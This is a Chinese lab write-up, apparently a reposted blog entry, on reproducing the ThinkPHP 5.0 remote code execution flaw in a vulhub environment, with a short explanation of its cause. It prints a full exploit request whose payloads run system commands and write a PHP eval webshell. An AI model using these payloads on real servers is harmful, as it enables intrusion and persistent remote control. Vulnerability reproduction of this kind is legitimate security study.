漏洞复现-thinkphp5.0-远程代码执行

 
 
 
 
 
 
 

0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

0x01 影响版本

标志:/index.php

版本:thinkphp5.0~thinkphp5.0.23

0x02 漏洞复现

注:复现是比较简单的,原理需要自己去深入剖析

(1)访问页面

 (2)直接输入payload:

POST /index.php?s=captcha HTTP/1.1
Host: xx.xx.xx.xx:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=touch shell.php

 (3)写入一句话shell(连接成功):

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST[x]); ?>'>shell.php

0x03 漏洞原理

用简单的话语描述就是,在index.php页面,存在一个与GET请求一样(以隐藏的PUT方法)提交的construct参数,系统开启了Debug参数,当调用filter方法时,如果使用默认值就会将fliter覆盖为system并执行其之后的命令,未开启Debug将无法把filter覆盖为system。

下面这张图是我从freebuf摘取的,具体的漏洞原理需要深入的解读freebuf的这篇珍藏好文:https://www.freebuf.com/vuls/194127.html

原文地址:https://www.cnblogs.com/cute-puli/p/14667659.html